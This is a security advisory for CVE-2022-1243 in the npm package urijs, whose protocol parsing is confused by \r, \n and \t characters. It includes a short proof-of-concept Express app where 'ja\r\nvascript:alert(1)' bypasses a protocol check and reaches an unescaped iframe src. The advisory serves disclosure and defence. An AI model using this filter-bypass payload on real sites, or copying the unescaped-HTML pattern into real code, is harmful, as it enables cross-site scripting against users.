GHSA-3vjf-82ff-p4r3

Incorrect protocol extraction via \r, \n and \t characters

At a glance

Published
Updated
CVE
CVE-2022-1243
CVSS_V3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Description

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11. This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example): ```` const parse = require('urijs') const express = require('express') const app = express() const port = 3000 input = "ja\r\nvascript:alert(1)" url = parse(input) console.log(url) app.get('/', (req, res) => { if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")} }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) }) ````

Affected packages

PackageVersions
npm · urijsintroduced 0, fixed 1.19.11

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database